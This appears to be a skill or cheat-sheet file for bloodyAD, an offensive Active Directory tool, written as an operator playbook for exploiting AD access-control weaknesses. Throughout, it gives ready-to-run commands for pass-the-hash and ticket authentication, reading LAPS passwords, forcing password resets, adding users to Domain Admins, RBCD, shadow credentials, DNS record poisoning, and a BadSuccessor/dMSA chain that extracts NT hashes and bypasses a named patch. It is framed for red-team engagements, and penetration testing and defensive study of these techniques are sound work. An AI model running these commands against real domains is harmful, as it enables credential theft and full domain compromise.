aeondave/bloodyad

bloodyad

Goal: Exploit Active Directory Access Control List (ACL) vulnerabilities and manipulate AD objects without relying on WinRM or native Windows RSAT tools.

Cognitive Stance

bloodyAD is an offensive LDAP/SAMR framework. It acts as the direct execution layer for attack paths identified by BloodHound (GenericAll, WriteDACL, ForceChangePassword, etc). It operates cross-platform and fully supports proxying (SOCKS).

Core Authentication Patterns

Authentication follows standard Impacket-style formats but with specific arguments. The executable is typically invoked as bloodyAD.

# Cleartext
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> <command>

# Pass-The-Hash (NTLM)
bloodyAD --host <DC_IP> -d <domain> -u <username> -p aad3b435b51404eeaad3b435b51404ee:<NTHash> <command>

# Kerberos Pass-The-Ticket
export KRB5CCNAME=/path/to/ticket.ccache
bloodyAD --host <DC_IP> -d <domain> -u <username> -k <command>

Critical gotchas:

• Always pass -u <username> even with -k. Without it, bloodyAD searches sAMAccountName=None and fails silently or returns zero results. The -k flag enables Kerberos transport; -u still identifies which object to look up.
• Clock skew: bloodyAD auto-detects and corrects clock skew up to several hours ("Clock skew detected. Adjusting..."). No manual faketime or ntpdate needed — unlike impacket tools.
• LDAP sealing: bloodyAD uses SASL sign+seal on port 389, which satisfies strongerAuthRequired. Use bloodyAD when impacket's raw LDAP bind fails with strongerAuthRequired or when LDAPS (636) TLS handshake resets.

Common Exploitation Workflows

1. Object and Attribute Enumeration

If you need to read a specific attribute (e.g., LAPS passwords, LAPS properties, quota sizes).

bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass get object target_user --attr ms-Mcs-AdmPwd

2. ForceChangePassword (Reset Target User Password)

If you hold ForceChangePassword, GenericWrite, or GenericAll over a user.

bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass set password target_user 'NewP@ssw0rd123!'

3. Group Modification (Add user to Domain Admins)

If you hold AddMember, WriteProperty, or GenericAll over a Group.

bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add groupMember 'Domain Admins' target_user

4. Resource-Based Constrained Delegation (RBCD)

If you hold GenericAll or GenericWrite over a Computer object, you can set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add rbcd TARGET_COMPUTER '$ATTACKER_COMPUTER'

(After doing this, use getST.py from Impacket to request a service ticket).

5. Shadow Credentials (KeyCredentialLink)

If you have GenericWrite or GenericAll on a user or computer.

# Injects a KeyCredentialLink. BloodyAD will automatically attempt to PKINIT and get the NTLM hash
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add shadowCredentials target_user

(If the automatic unpac fails, BloodyAD saves the certificate. Use certipy auth -pfx <cert>.pfx to authenticate manually.)

6. Proxying and Pivoting

BloodyAD relies extensively on standard network sockets and parses environment variables. It works seamlessly through SOCKS proxies via proxychains.

proxychains bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass get object target_user

(Note for Proxychains: ensure /etc/proxychains4.conf or /etc/proxychains.conf points to your SOCKS port, e.g. Chisel or SSH SOCKS).

7. DNS Record Manipulation

Used to hijack WPAD, internal resources, or relay targets by poisoning ADIDNS.

# Add an A record pointing evil_wpad.contoso.local to 192.168.1.50
bloodyAD -H 10.10.10.10 -d contoso.local -u attacker -p pass add dnsRecord evil_wpad 192.168.1.50

8. Restore Deleted AD Object

If a target object was soft-deleted (moved to CN=Deleted Objects), restore it before attacking.

# Find deleted object (include deleted objects in search)
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> \
  get object "CN=<name>\0ADEL:<guid>,CN=Deleted Objects,DC=<domain>,DC=<tld>"

# Restore (moves object back to its original OU, re-enables it)
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> \
  set restore "CN=<name>\0ADEL:<guid>,CN=Deleted Objects,DC=<domain>,DC=<tld>"

The GUID (0ADEL:<guid>) is part of the CN and must be quoted. Requires Write rights on the deleted object (visible in BloodHound even for deleted objects).

9. BadSuccessor (dMSA abuse)

Create a delegated MSA linked to a target account, then extract its credentials via S4U2self.

# Full (pre-patch / single actor with both CREATE_CHILD on OU and WRITE on target):
bloodyAD --host <DC_IP> -d <domain> -u <username> -p <password> \
  add badSuccessor <new_dmsa_name> \
  -t "CN=<target>,OU=<ou>,DC=<domain>,DC=<tld>" \
  --ou "OU=<ou>,DC=<domain>,DC=<tld>"

# Post-patch split (actor A has CREATE_CHILD on OU, actor B has WRITE on target):
# Step 1 — Actor A: create dMSA, skip writing msDS-Superseded* on target
bloodyAD --host <DC_IP> -d <domain> -u <actor_a> -p <pass_a> \
  add badSuccessor <new_dmsa_name> \
  -t "CN=<target>,OU=<ou>,DC=<domain>,DC=<tld>" \
  --ou "OU=<ou>,DC=<domain>,DC=<tld>" \
  --prepatch

# Step 2 — Actor B: write msDS-Superseded* on target (via GenericWrite / LDAP)
# (bloodyAD set object or PowerShell S.DS.P with Negotiate+Sealing as Actor B)

# Step 3 — Actor A: run S4U2self to steal target's NT hash
badS4U2self "kerberos+ccache://domain\<actor_a>:<actor_a>.ccache@<DC_IP>" \
  "krbtgt/<domain>@<DOMAIN>" "<new_dmsa_name>\$@<DOMAIN>" --dmsa
# Output: target account's RC4/NT hash (only RC4 yielded via dMSA key package)

badS4U2self is in the bloodyad venv (or kerbad package in venv-core). Clock skew for badS4U2self must be corrected with sudo date -u -s "<DC_time>" or faketime immediately before running (it does not auto-correct like bloodyAD).

dMSA Ouroboros (post-patch CVE-2025-53779 bypass): when the patch validates bidirectional links but not WHO wrote them, an attacker with CreateChild + WriteProperty on an OU can bypass it by:

1. Create dMSA via add badSuccessor (writes both sides of the superseded link).
2. add genericAll on the dMSA from the attacking principal.
3. Shadow Credential on the dMSA (certipy shadow add -account 'dmsa$').
4. Write msDS-GroupMSAMembership with a self-authorizing SD (the dMSA's own SID + attacker SID get full rights) — this makes the dMSA authorize its own credential retrieval:

# Get SIDs
bloodyAD ... get object 'dmsa$' --attr objectSid
bloodyAD ... get object attacker --attr objectSid
# Build SD: O:SY D:(A;;0xf01ff;;;<dmsa_sid>)(A;;0xf01ff;;;<attacker_sid>)
# Write it:
bloodyAD ... set object 'dmsa$' msDS-GroupMSAMembership --raw --b64 -v '<base64_sd>'

5. Auth as dMSA (certipy auth -pfx dmsa.pfx) → ccache.
6. badS4U2self ... --dmsa → extracts the superseded account's NT hash from the dMSA key package.

Anti-Patterns

• Modifying standard Domain Admin passwords or altering live production Domain Admins groups is extremely noisy and often forbidden by red-team Rules of Engagement. Prefer Shadow Credentials or RBCD on computer accounts whenever possible.
• Do not skip -u <username> when using -k — without it bloodyAD fails to identify the authenticated principal.